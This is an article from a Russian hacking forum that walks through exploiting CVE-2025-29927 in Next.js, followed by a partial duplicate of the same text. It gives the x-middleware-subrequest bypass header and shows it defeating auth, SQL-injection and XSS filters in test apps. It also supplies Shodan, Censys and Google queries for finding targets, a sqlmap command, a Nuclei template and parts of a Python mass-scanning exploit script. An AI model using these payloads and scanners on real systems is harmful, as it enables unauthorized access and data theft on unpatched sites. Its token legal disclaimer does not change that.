• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атакуем Next.js CVE-2025-29927

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro

Все больше проектов появляется написанных на разных фреймворках Javascript, Next.js, в свое время, взорвал рынок веб-приложений. Все очень любили и любят писать на React, но подобные приложения это генерация на стороне клиента. Что в свою очередь несет кучу проблем. Банальное SEO очень страдало, так как поисковики слегка недолюбливали подобные сайты. Даже когда топ-менеджеры Google уверяли в полной приверженности к JS-приложениям (Angular ведь тоже надо как-то популяризировать). Некст же избавил людей от этой проблемы, достаточно красиво реализуя Server Side Render. Были и другие варианты, но они требовали танцев с бубном. Собственно, поэтому Next и стал топчиком. Под топчиком я подразумеваю около 10 миллионов загрузок в неделю под данным npmjs.com

1747553411529.png


Лично меня эта уязвимость привлекла тем, что она достаточно проста и лежит на поверхности, при этом обнаружена в мощном популярном проекте.

Next.js не новичок на рынке, уже версия 15.3, но есть у него свои проблемки. В частности, CVE-2025-29927, которая охватывает собой огромное количество версий и затрагивает чуть ли не каждое второе веб-приложение на нексте. В статье постараюсь не просто описать проблему и методы атаки, а подробно разобраться что откуда и куда. Получилось или нет, судить вам.

Опасный заголовок​

Уязвимость базируется на хедере “X-Middleware-Subrequest”, который использует Next.js в своей инфраструктуре. Фактически, это служебный заголовок, который Next.js автоматически добавляет к внутренним запросам. Под внутренними запросами подразумеваются запросы выполняемые самим фреймворком, а не инициированные внешними запросами. Кроме того, данные заголовок используется для избежания бесконечной рекурсии внутри движка.

Как это работает? Запрос прилетающий в веб-приложение, классически для Javascript, проходит через цепочку middleware-функций. Например, даже в простейшем Node+Express приложении, чтобы работать с телом запроса необходимо применить middle-функцию bodyParser, которая распарсит данные и сложит в req, сделав доступным тело запроса для дальнейших функций обработки. В некоторых случаях, цепочки могут зацикливаться. Чтобы этого не произошло, запрос помечается заголовком.

Заголовок добавляется после выполнения мидлов и привязывается к каждому мидлу отдельно. Это нужно чтобы избежать бесконечного повторного применения миддл-функции, так как оно не имеет смысла и только затягивает процесс. Сам код выглядит как-то так:

JavaScript:
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];

if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  }
  continue;
}

Если это не первая статья прод данную CVE, вы уже видели этот кусок кода. Это стандартный код из Next.js. Но как возникает уязвимость? Это же элементарно, хакер! Куда удобнее всего запихать процесс авторизации (проверки прав доступа)? Конечно же, в один из middleware. Выглядеть это будет примерно так:

JavaScript:
const tokenAuthMiddleware = (req, res, next) => {
  const authHeader = req.headers.authorization;
  const token = authHeader && authHeader.split(' ')[1];

  if (!token) {
    return res.status(401).send("Token is empty");
  }

  jwt.verify(token, 'SECRET_KEY', (err, user) => {
    if (err) {
      return res.status(403).send("Bad token");
    }

    req.user = user;
    next();
  });
};

Что произойдет? С легальным запросом все будет работать как надо. Запрос с вредоносным заголовком, заставит Некст проскочить миддл посвященный проверке прав, вызвав сразу next(). Функция просто не будет выполнена, неплевав на проверку существования токена, а тем более на проверку его правильности.

Почему? Хакер передаст в заголовке значение совпадающее с искомым middlewareInfo.name. Некст решит, что мидл уже отработал и нужно переходить дальше. Искомое значение может меняться, в зависимости от версии Next.js. Оно стандартизированно и разработчик почти не может на него влиять. По факту, оно представляет собой путь к файлу middleware.js или .ts от корня проекта. Примеры:

Код:
GET /admin/ HTTP/1.1
x-middleware-subrequest: middleware

Другой вариант:

Код:
GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware.

В первом случае, соответственно, речь идет о файле middleware лежащем в корневом каталоге, во втором в “src/”, но почему во втором примере через двоеточие значение указано пять раз? Здесь нам нужно познакомиться с переменной MAX_RECURSION_DEPTH, иначе магия работать не будет. Она указывает на максимальную глубину рекурсии. Каждое выполнение миддла, Некст следит, чтобы количество выполнений мидла было меньше установленного значения. Если больше или равно, значит рекурсия подвисла и нужно сразу переходить на next().

Возможны ли другие пути, а значит и искомые значения? Да, возможны. Например, в версиях до 12.2, файл должен был называться _middleware.js (.ts) и находиться мог на любом уровне каталога. Поэтому вполне себе оправданными могли быть заголовки типа

Код:
pages/secret/admin/panel/_middleware

В теории, при кастомной сборке, разработчик также может изменить пути. Но это требует дополнительных усилий, плюс проблематично в поддержке. Подобное, скорее всего, удел мелких пет-проектов, которые мало кому интересны.

Практика​

Важный момент в том, что команда разработки пофиксила ошибку, в том числе обновив старые релизы. Чтобы поиграться с уязвимостью, можно использовать две уязвимых машины: vulnerable-nextjs-14-CVE-2025-29927 и проект от ricsirigu.

Если захотите повторить мой пример, то можно использовать эти уязвимые сорцы.

Как запустить уязвимые проекты, описано достаточно неплохо. Особо заострять внимание на них нет смысла. На примере первого, клонируем гит-репозиторий. Выполняем установку через npm и запускаем

Код:
npm run dev

После чего выполняем три предложенных запроса: лигитимные без авторизации, лигитимный с токеном авторизации и последний, без токена, но с вредоносным пейлоадом. Результат работы видно на скрине:

1747553544925.png


Вывод сервера:

1747553560170.png


Видно, что запрос с токеном и запрос с вредоносным пейлоадом выполнились значительно быстрее. Причем, самым быстрым был вредонос. Связываю это с тем, что Next пропустил выполнение функции авторизации.

Давайте немного посмотрим на сам проект.

1747553576716.png


Видимо, что middleware.js лежит в корне. Соответственно, заголовок должен будет содержать значение “middleware”. По итогу, мы столкнемся с необходимость повторения значения от 5 раз, чтобы пробить максимум глубины рекурсии.

Посмотрим код приложения, чтобы убедиться, что автор не оставил каких-то закладок и уязвимость отрабатывает исключительно уязвимость фреймворка:

1747553589087.png


Обход фильтрации​

Разработчики, стараясь защитить свои приложения могут использовать middleware для фильтрации ввода. Соответственно, уязвимость CVE-2025-29927 может помочь обойти эту фильтрацию. Это касается любых инъекций против которых поработал программист. Для примера, попросил великий разум накидать мне простенькое тестовое приложение. В приложении нет никаких закладок, которые помогали бы в реализации демонстрации. Ну разве что обращение к базе происходит без подстановок, а прямым запросом. Фильтрация простенькая, но присутствует. Как минимум, фильтр должен отработать на “OR”.

Приложение просто выводит список постов из SQLite базы данных. В базу помещается четыре записи, одна из которых скрытая. Наша задача вывести эту запись. Архив для тестов прикладываю. Просто распакуйте, установите зависимости и запустите скрипт dev.

Скрипт фильтрации:

JavaScript:
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
 if (request.nextUrl.pathname.startsWith('/api/posts')) {
   const searchParams = request.nextUrl.searchParams;
   const query = searchParams.get('q');

   if (query) {
     const sqlKeywords = [
       'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP',
       'UNION', 'EXEC', 'ALTER', 'CREATE', 'TRUNCATE',
       '--', ';', '/*', '*/', 'xp_', '1=1', 'OR'
     ];
    
     const xssPatterns = [
       /<script.*?>.*?<\/script>/i,
       /img.*?/i,
       /on\w+=\s*["'][^"']*["']/i,
       /javascript:\s*[^"']*/i,
       /<\/?\w+.*?>/i
     ];

     const sqlInjectionDetected = sqlKeywords.some(keyword =>
       query.toUpperCase().includes(keyword.toUpperCase())
     );

     const xssDetected = xssPatterns.some(pattern =>
       pattern.test(query)
     );

     if (sqlInjectionDetected || xssDetected) {
       console.warn('Попытка атаки обнаружена:', {
         url: request.url,
         ip: request.ip || request.headers.get('x-forwarded-for'),
         userAgent: request.headers.get('user-agent'),
         attackType: sqlInjectionDetected ? 'SQL Injection' : 'XSS',
         maliciousInput: query
       });

       return new NextResponse('Недопустимый запрос', {
         status: 400,
         headers: {
           'X-Security-Alert': 'true'
         }
       });
     }

     const cleanedQuery = query.replace(/[^\w\sа-яА-ЯёЁ-]/gi, '').trim();
     if (cleanedQuery !== query) {
       const newUrl = request.nextUrl.clone();
       newUrl.searchParams.set('q', cleanedQuery);
       return NextResponse.redirect(newUrl);
     }
   }
 }

 return NextResponse.next();
}

export const config = {
 matcher: ['/api/posts', '/posts'],
};

Как видно из кода, происходит минимальная фильтрация и, какая никакая, очистка запроса.

Для начала запущу приложение и попробую выполнить поиск с пэйлоадом без указания заголовка:

1747553643945.png


Как видно по выводу сервера, фильтр обнаружил SQL-инъекцию и обезвредил её. Соответственно, на выводе это никак не отразилось. Ну поискал пользователь и поискал. Попробую перехватить этот запрос в Burp и добавить заголовок:

1747553661841.png


Смотрим результат выполнения в браузере и вывод на сервере:

1747553702253.png


Как и ожидалось, Next отрубил миддл-функцию и выполнил запрос без каких-то проблем, показав нам тот самый скрытый пост. В реальной жизни, даже без SQL инъекции можно получить неплохой IDOR и получить неограниченный доступ к чужим данным, перепискам и т.п.

Тоже самое касается XSS, фильтрация на который тоже добавлена в систему. Сначала пробую отправить запрос без заголовков:

1747553716433.png


После отправки запроса с заголовком, посмотрим на HTML-код страницы:

1747553730286.png


При этом, сообщение не выведется из-за блокировки самим браузером. Лучше использовать “img onerror”. Хотя признаюсь, тестовое приложение и так пропустит этот тэг. Но мы же тут не про то, как сделать мощную фильтрацию, а наоборот. Главное, это увидеть работоспособность обхода функций, а дизайн логики тестового приложения это третьестепенное.

Обход CSP​

Content Security Policy может доставить серьезные неудобства пентестеру, блокируя возможности организовать интересную XSS-атаку. Но в приложениях Next.js, часто можно встретить ошибки в дизайне приложения. Многие разработчики хотят на выходе получить универсальный швейцарский нож, делая кучу элементов динамическими и размещая их в Middleware. Вот пример статьи, где предлагается организация динамического CSP с хранением в базе данных.

1747554395010.png


Разбирать код смысла нет, так как мы в любом случае придем к одной итоговой точке - если версия Next.js уязвима, то мы без проблем обойдем эту проблему и реализуем подгрузку нашего скрипта из нашего источника.

Как видно, отключая миддл-функции, можно добиться очень интересных результатов. Веб-приложение в один миг может стать полностью беззащитным и готовым к любым проникновениям.

Как тестировать?​

Во-первых, конечно же, информация в статье не для использования с целью нарушения закона. Используйте знания для белого пентеста и багбаунти. Автор не несет ответственности, если кто-то решит встать на темную сторону. Вы либо работает с сайтом заказчика, либо по официальной баг-баунти программе. Если нашли потенциальный трагет, предварительно свяжитесь и договоритесь с владельцем о тестировании.

Поиск таргетов​

Начнем с поиска таргетов для белого тестирования? Самый простой вариант, это Google дорк “inurl:/_next/”. Да, будет куча мусора, нужно будет уточняться и подумать, но вполне рабочий вариант поискать веб-приложения на Next.js.

Можно пойти в Shodan с запросом типа http.html:"NEXT_DATA". Также можно поискать заголовки наподобие “x-nextjs-matched-path”. Чуть ниже мы познакомимся с тем, что это за заголовок и откуда берется, сейчас важно что по нему и другим заголовкам можно найти приложения на Next.js

1747554422329.png


Остальные заголовки со скрина так же пмогут найти в Шодане большое количество целей: “x-middleware-rewrite”. “x-nextjs-cache”, “x-nextjs-prerender”, “x-nextjs-stale-time”, “X-Powered-By: Next.js”

Можно попробовать поискать в Censys. Например, так: services.http.response.body:"NEXT_DATA"

Еще неплохой вариант поиска в Censys, это установка куки NEXT_LOCALE, которая встречается в Next-приложениях. Причем, установка локали может намекать на наличие middleware отвечающего за этот процесс:

services.http.response.headers.set_cookie: "NEXT_LOCALE"

1747554436794.png


Тестирование​

Хорошо, приложения нашли, дальше что? То что приложение написано на Nex.js не говорит об его уязвимости. Вполне может быть, что в целом миддлвары не жизнеспособные. Неплохо бы выполнить проверку.

Первым делом, конечно же, убедиться что у нас уязвимая версия Next.js. Для этого часто достаточно расширения Wappalyzer. Другой вариант, это

Можно просто просканировать сайт в поисках редиректов. Например, на форму авторизации, таким образом находя закрытые разделы. Но более точным методом будет использование служебного заголовка “x-nextjs-data”. Прямого упоминания в документации Next.js я не нашел. Насколько понимаю, используется для передачи служебных данных. Чтобы понять смысл использования, запустим первое тестовое приложение (то что с токеном авторизации) и выполним два запроса:

1747554455113.png


Когда мы отправили заголовок “x-nextjs-data”, у нас появился новый заголовок “x-nextjs-matched-path”. Это один из возможных вариантов, так же могут встречаться вариации: “x-middleware-rewrite”, “x-middleware-next”, “x-middleware-redirect”. Вполне вероятно, что список на этом не заканчивается, но в целом направление куда смотреть понятно.

Эти заголовки нам явно указывают, что миддлвар живой и реализует какую-то логику. Значит мы можем попробовать нарушить её пробросив варианты “x-middleware-subrequest”. Как это можно сделать максимально эффективно? Для этого вспомним, как Next.js проверяет нужный нам заголовок - просто сплитит и ищет совпадения. Кроме того, явных стандартов на ограничение длины заголовка нет, но мне встречалась информация аж о 80 килобайтах в Next.js. 80кб это очень много, но даже 8кб не мало, а значит мы можем запихать в заголовок все возможные варианты, собрав универсальный заголовок. Например:

Код:
X-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Пять это стандартное значение MAX_RECURSION_DEPTH. Чтобы проверить этот факт, достаточно посмотреть код файла “./node_modules/next/dist/server/web/sandbox/sandbox.js“ чтобы найти объявление константы.

Для большинства версий Next.js будет достаточно этого универсального заголовка. В версиях ниже 12.2 нужно покреативить. Сначала собрать карту интересных маршрутов, после выстроить заголовок из них. Например, для пути /secret/admin можно попробовать такие варианты заголовков:

Код:
x-middleware-subrequest: pages/dashboard/panel/_middleware
Код:
x-middleware-subrequest: pages/dashboard/_middleware
Код:
x-middleware-subrequest: pages/_middleware

Но мы снова говорит про байпас только авторизации. Если мы говорим, например, про поиск SQL инъекции с обходом фильтров, можно попробовать запустить SQLMAP передав ему флаг

Bash:
sqlmap -u https://target.com -H ‘x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware’

Если вы уверены, что уязвимость есть, но она не пролазит, попробуйте по-добавлять служебные заголовки вроде “x-nextjs-data” и прочие. Вполне вероятно, что тогда Next.js сочтет запрос своим и отработает как надо.

Автоматизация тестирования​

Соберем все вышесказанное в программный код, чтобы были более менее полноценные инструменты для работы. Начнем с Nuclei. В сети есть готовые шаблоны, я не стал сильно заморачиваться и просто слегка переработал несколько из них, приведя к устраивающему меня варианту:

YAML:
id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass Attack
  author: petrinh1988 and co
  severity: critical
  description: |
    A critical security vulnerability has been discovered in Next.js versions 11.1.4 through 15.2.2.
    This flaw enables adversaries to circumvent established middleware protections by transmitting
    a deliberately crafted x-middleware-subrequest header. Consequently, the system's security controls
    are rendered ineffective, thereby exposing the platform to the risk of unauthorized access
    and additional security breaches.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  remediation: |
    Recommended Fix: Upgrade to a patched version of Next.js (14.2.25 / 15.2.3 or later)
    f immediate upgrading is not feasible, implement a rule in your WAF or
    server configuration to block all requests containing the x-middleware-subrequest header.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    verified: true
    vendor: vercel
    product: next.js
    framework: node.js 
    max-request: 1
    shodan-query:
      - http.html:"/_next/static"
      - x-powered-by: next.js
      - x-nextjs-cache:
      - cpe:"cpe:2.3:a:zeit:next.js"   
      - x-middleware-rewrite
    fofa-query: x-middleware-rewrite
  tags: cve,cve2025,nextjs,middleware,auth-bypass

flow: |
  http(1)
  for(let endpoint_urls of iterate(template.endpoints)){
    set("endpoints", endpoint_urls)
    http(2) && http(3)
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "_next/static"
        # internal: true

      - type: word
        part: header
        words:
          - "Next.js"
        # internal: true

    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        # internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Nextjs-Data: 1

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-nextjs-matched-path', 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        # internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "{{nextjs_bypass}}"

    payloads:
      nextjs_bypass:
        - "middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200

Измнений, по сравнению с существующими шаблонами не много, по сути добавил больше заголовков идентифецирующих потенциально интересные миддл-функции. Так же добавил заголовок X-Nextjs-Data, для повышения точности. Да сократил количество атакующих запросов, уместив стандартный набор значений заголовка в одну строчку.

Результат тестирования нашего проекта с постами:

1747554510173.png


Ожидаемо, сканер нашел уязвимый путь.

Конвертируем скрипт в Python. Шаблон Nuclei хорошая штука, но скрипты на Python более гибкие. Например, если потребуется вместо передачи урла цели прикрутить загрузку списка доменов… да еще и с многопоточностью. В этой ситуации скрипт будет гораздо более полезным.

Принцип работы скрипта такой:
  1. Убедиться, что мы имеем дело с Nuclei
  2. Составить список потенциальных точек инъекции - рекурсивное сканирование с погружением на указанную глубину
  3. Тестовый запрос, чтобы убедиться что миддл-функции живы и могут быть полезны нам
  4. Атакующий запрос.

Полный код скрипта будет в приложенном файле. Скачайте, создайте виртуальную среду, установите beautifulsoup4. Запуск сканера осуществляется командой:

Bash:
python3 CVE-2025-29927.py http://localhost:3000

Глубина сканирования, по умолчанию, три уровня. Если нужно изменить, передайте в параметр –depth

Приведу в пример некоторые куски кода. В первую очередь, проверку веб-приложения на отношение к Next.js. Взял минимальный набор признаков, но мне кажется вполне достаточный чтобы с уверенностью говорить о “правильном” фреймворке.

Python:
is_nextjs = False
       if '__NEXT_DATA__' in response.text:
           is_nextjs = True
       if '_next/static' in response.text:
           is_nextjs = True
       if 'Next.js' in response.headers.get('x-powered-by', ''):
           is_nextjs = True

Парсинг потенциальных ендпоинтов для тестов происходит, как через работу с тэгами, так и через регулярное выражение. При необходимости, вариант расширяемый, можно добавить больше тэгов:
Python:
       endpoints = set()
      
       for tag in soup.find_all(['a']):
           attr = 'href'
           if attr in tag.attrs:
               url = tag[attr]
               if url.startswith('/') and not url.startswith('//') and not url.startswith('/.'):
                   endpoints.add(url)
      
       regex_matches = re.findall(r'href=[\'"](/[^\."\']+)[\'"]', response.text)
       endpoints.update(regex_matches)

Тестовый запрос выполняется, точно так как говорили, с указанием заголовка:

Python:
       response = session.get(url, headers={'X-Nextjs-Data': '1'})
      
       headers = {k.lower(): v for k, v in response.headers.items()}
       vulnerable = False
      
       if any(h in headers for h in ['x-nextjs-matched-path', 'x-middleware-rewrite',
                                   'x-middleware-next', 'x-middleware-redirect']):
           print(f"[+] Потенциально уязвимый endpoint обнаружен")
           vulnerable = True
      
       if 'location' in headers and 'unauthorized' in headers['location'].lower():
           if response.status_code != 200:
               print(f"[+] Потенциально уязвимый endpoint обнаружен (редирект на unauthorized)")
               vulnerable = True
      
       if not vulnerable:
           return False

В ответе мы ищем следы работы миддл-функции, либо сигнал о необходимости авторизоваться. Согласен, сомнительно и можно значительно расширить количество вариантов.

Ну и последнее, атакующий запрос:

Python:
       bypass_payloads = [
           "middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
       ]
      
       for payload in bypass_payloads:
           attack_response = session.get(url, headers={'X-Middleware-Subrequest': payload})
          
           if attack_response.status_code == 200:
               print(f"[+] Уязвимость подтверждена! Успешный bypass с payload: {payload}")
               print(f"    Статус код: {attack_response.status_code}")
               return True

Опять же, простая проверка по коду ответа не всегда дает 100% картинку. По хорошему, нужно сравнивать два ответа: ответ без обхода миддла и ответ с обходом. При наличии разницы, сообщать пользователю о необходимости присмотреться. Хотя, конечно же, если мы столкнемся с динамически генерируемым выводом, плакали все наши автоматические тесты.

Выводы​

Сложно писать вывод по этой теме. Во-первых, просто поражает то насколько простой, но при этом разрушительной может быть ошибка в коде крупного проекта. Next.js не какой-то пет-проект, а полноценный фреймворк, который скачивают 10 миллионов раз в неделю. Цифры просто колоссальные. При этом, такая нелепая ошибка в дизайне. Во-вторых, поражает тот масштаб проблем, которые способна породить эта простая уязвимость. Это не просто обход авторизации, это обход кучи всего.

В статье, я надеюсь, довольно неплохо рассмотрел уязвимость и вытекающие последствия. Рассказал о целом ряде интересных заголовков, Мы попробовали поработать с несколькими специально созданными проектами. Один накидали сами, один рассмотрели в теории.
Мне кажется, что статья исчерпывающая и не должна оставить каких-то вопросов, кроме обсуждения вариантов применения. А вы как считаете? Если в начале чтения было непонятно о чем речь и как работает, а в конце есть ощущение что все просто и легко, значит цель достигнута)

P.S.
В прикрепленном архиве лежат:
1. Уязвимое веб-приложение
2. Шаблон Nuclei
3. Скрипт Python
 

Вложения

  • next-injection.zip
    10.7 КБ · Просмотры: 72
Автор petrinh1988
Источник https://xss.pro

Все больше проектов появляется написанных на разных фреймворках Javascript, Next.js, в свое время, взорвал рынок веб-приложений. Все очень любили и любят писать на React, но подобные приложения это генерация на стороне клиента. Что в свою очередь несет кучу проблем. Банальное SEO очень страдало, так как поисковики слегка недолюбливали подобные сайты. Даже когда топ-менеджеры Google уверяли в полной приверженности к JS-приложениям (Angular ведь тоже надо как-то популяризировать). Некст же избавил людей от этой проблемы, достаточно красиво реализуя Server Side Render. Были и другие варианты, но они требовали танцев с бубном. Собственно, поэтому Next и стал топчиком. Под топчиком я подразумеваю около 10 миллионов загрузок в неделю под данным npmjs.com

Посмотреть вложение 107264

Лично меня эта уязвимость привлекла тем, что она достаточно проста и лежит на поверхности, при этом обнаружена в мощном популярном проекте.

Next.js не новичок на рынке, уже версия 15.3, но есть у него свои проблемки. В частности, CVE-2025-29927, которая охватывает собой огромное количество версий и затрагивает чуть ли не каждое второе веб-приложение на нексте. В статье постараюсь не просто описать проблему и методы атаки, а подробно разобраться что откуда и куда. Получилось или нет, судить вам.

Опасный заголовок​

Уязвимость базируется на хедере “X-Middleware-Subrequest”, который использует Next.js в своей инфраструктуре. Фактически, это служебный заголовок, который Next.js автоматически добавляет к внутренним запросам. Под внутренними запросами подразумеваются запросы выполняемые самим фреймворком, а не инициированные внешними запросами. Кроме того, данные заголовок используется для избежания бесконечной рекурсии внутри движка.

Как это работает? Запрос прилетающий в веб-приложение, классически для Javascript, проходит через цепочку middleware-функций. Например, даже в простейшем Node+Express приложении, чтобы работать с телом запроса необходимо применить middle-функцию bodyParser, которая распарсит данные и сложит в req, сделав доступным тело запроса для дальнейших функций обработки. В некоторых случаях, цепочки могут зацикливаться. Чтобы этого не произошло, запрос помечается заголовком.

Заголовок добавляется после выполнения мидлов и привязывается к каждому мидлу отдельно. Это нужно чтобы избежать бесконечного повторного применения миддл-функции, так как оно не имеет смысла и только затягивает процесс. Сам код выглядит как-то так:

JavaScript:
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];

if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  }
  continue;
}

Если это не первая статья прод данную CVE, вы уже видели этот кусок кода. Это стандартный код из Next.js. Но как возникает уязвимость? Это же элементарно, хакер! Куда удобнее всего запихать процесс авторизации (проверки прав доступа)? Конечно же, в один из middleware. Выглядеть это будет примерно так:

JavaScript:
const tokenAuthMiddleware = (req, res, next) => {
  const authHeader = req.headers.authorization;
  const token = authHeader && authHeader.split(' ')[1];

  if (!token) {
    return res.status(401).send("Token is empty");
  }

  jwt.verify(token, 'SECRET_KEY', (err, user) => {
    if (err) {
      return res.status(403).send("Bad token");
    }

    req.user = user;
    next();
  });
};

Что произойдет? С легальным запросом все будет работать как надо. Запрос с вредоносным заголовком, заставит Некст проскочить миддл посвященный проверке прав, вызвав сразу next(). Функция просто не будет выполнена, неплевав на проверку существования токена, а тем более на проверку его правильности.

Почему? Хакер передаст в заголовке значение совпадающее с искомым middlewareInfo.name. Некст решит, что мидл уже отработал и нужно переходить дальше. Искомое значение может меняться, в зависимости от версии Next.js. Оно стандартизированно и разработчик почти не может на него влиять. По факту, оно представляет собой путь к файлу middleware.js или .ts от корня проекта. Примеры:

Код:
GET /admin/ HTTP/1.1
x-middleware-subrequest: middleware

Другой вариант:

Код:
GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware.

В первом случае, соответственно, речь идет о файле middleware лежащем в корневом каталоге, во втором в “src/”, но почему во втором примере через двоеточие значение указано пять раз? Здесь нам нужно познакомиться с переменной MAX_RECURSION_DEPTH, иначе магия работать не будет. Она указывает на максимальную глубину рекурсии. Каждое выполнение миддла, Некст следит, чтобы количество выполнений мидла было меньше установленного значения. Если больше или равно, значит рекурсия подвисла и нужно сразу переходить на next().

Возможны ли другие пути, а значит и искомые значения? Да, возможны. Например, в версиях до 12.2, файл должен был называться _middleware.js (.ts) и находиться мог на любом уровне каталога. Поэтому вполне себе оправданными могли быть заголовки типа

Код:
pages/secret/admin/panel/_middleware

В теории, при кастомной сборке, разработчик также может изменить пути. Но это требует дополнительных усилий, плюс проблематично в поддержке. Подобное, скорее всего, удел мелких пет-проектов, которые мало кому интересны.

Практика​

Важный момент в том, что команда разработки пофиксила ошибку, в том числе обновив старые релизы. Чтобы поиграться с уязвимостью, можно использовать две уязвимых машины: vulnerable-nextjs-14-CVE-2025-29927 и проект от ricsirigu.

Если захотите повторить мой пример, то можно использовать эти уязвимые сорцы.

Как запустить уязвимые проекты, описано достаточно неплохо. Особо заострять внимание на них нет смысла. На примере первого, клонируем гит-репозиторий. Выполняем установку через npm и запускаем

Код:
npm run dev

После чего выполняем три предложенных запроса: лигитимные без авторизации, лигитимный с токеном авторизации и последний, без токена, но с вредоносным пейлоадом. Результат работы видно на скрине:

Посмотреть вложение 107265

Вывод сервера:

Посмотреть вложение 107266

Видно, что запрос с токеном и запрос с вредоносным пейлоадом выполнились значительно быстрее. Причем, самым быстрым был вредонос. Связываю это с тем, что Next пропустил выполнение функции авторизации.

Давайте немного посмотрим на сам проект.

Посмотреть вложение 107267

Видимо, что middleware.js лежит в корне. Соответственно, заголовок должен будет содержать значение “middleware”. По итогу, мы столкнемся с необходимость повторения значения от 5 раз, чтобы пробить максимум глубины рекурсии.

Посмотрим код приложения, чтобы убедиться, что автор не оставил каких-то закладок и уязвимость отрабатывает исключительно уязвимость фреймворка:

Посмотреть вложение 107268

Обход фильтрации​

Разработчики, стараясь защитить свои приложения могут использовать middleware для фильтрации ввода. Соответственно, уязвимость CVE-2025-29927 может помочь обойти эту фильтрацию. Это касается любых инъекций против которых поработал программист. Для примера, попросил великий разум накидать мне простенькое тестовое приложение. В приложении нет никаких закладок, которые помогали бы в реализации демонстрации. Ну разве что обращение к базе происходит без подстановок, а прямым запросом. Фильтрация простенькая, но присутствует. Как минимум, фильтр должен отработать на “OR”.

Приложение просто выводит список постов из SQLite базы данных. В базу помещается четыре записи, одна из которых скрытая. Наша задача вывести эту запись. Архив для тестов прикладываю. Просто распакуйте, установите зависимости и запустите скрипт dev.

Скрипт фильтрации:

JavaScript:
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
 if (request.nextUrl.pathname.startsWith('/api/posts')) {
   const searchParams = request.nextUrl.searchParams;
   const query = searchParams.get('q');

   if (query) {
     const sqlKeywords = [
       'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP',
       'UNION', 'EXEC', 'ALTER', 'CREATE', 'TRUNCATE',
       '--', ';', '/*', '*/', 'xp_', '1=1', 'OR'
     ];
   
     const xssPatterns = [
       /<script.*?>.*?<\/script>/i,
       /img.*?/i,
       /on\w+=\s*["'][^"']*["']/i,
       /javascript:\s*[^"']*/i,
       /<\/?\w+.*?>/i
     ];

     const sqlInjectionDetected = sqlKeywords.some(keyword =>
       query.toUpperCase().includes(keyword.toUpperCase())
     );

     const xssDetected = xssPatterns.some(pattern =>
       pattern.test(query)
     );

     if (sqlInjectionDetected || xssDetected) {
       console.warn('Попытка атаки обнаружена:', {
         url: request.url,
         ip: request.ip || request.headers.get('x-forwarded-for'),
         userAgent: request.headers.get('user-agent'),
         attackType: sqlInjectionDetected ? 'SQL Injection' : 'XSS',
         maliciousInput: query
       });

       return new NextResponse('Недопустимый запрос', {
         status: 400,
         headers: {
           'X-Security-Alert': 'true'
         }
       });
     }

     const cleanedQuery = query.replace(/[^\w\sа-яА-ЯёЁ-]/gi, '').trim();
     if (cleanedQuery !== query) {
       const newUrl = request.nextUrl.clone();
       newUrl.searchParams.set('q', cleanedQuery);
       return NextResponse.redirect(newUrl);
     }
   }
 }

 return NextResponse.next();
}

export const config = {
 matcher: ['/api/posts', '/posts'],
};

Как видно из кода, происходит минимальная фильтрация и, какая никакая, очистка запроса.

Для начала запущу приложение и попробую выполнить поиск с пэйлоадом без указания заголовка:

Посмотреть вложение 107269

Как видно по выводу сервера, фильтр обнаружил SQL-инъекцию и обезвредил её. Соответственно, на выводе это никак не отразилось. Ну поискал пользователь и поискал. Попробую перехватить этот запрос в Burp и добавить заголовок:

Посмотреть вложение 107270

Смотрим результат выполнения в браузере и вывод на сервере:

Посмотреть вложение 107271

Как и ожидалось, Next отрубил миддл-функцию и выполнил запрос без каких-то проблем, показав нам тот самый скрытый пост. В реальной жизни, даже без SQL инъекции можно получить неплохой IDOR и получить неограниченный доступ к чужим данным, перепискам и т.п.

Тоже самое касается XSS, фильтрация на который тоже добавлена в систему. Сначала пробую отправить запрос без заголовков:

Посмотреть вложение 107272

После отправки запроса с заголовком, посмотрим на HTML-код страницы:

Посмотреть вложение 107273

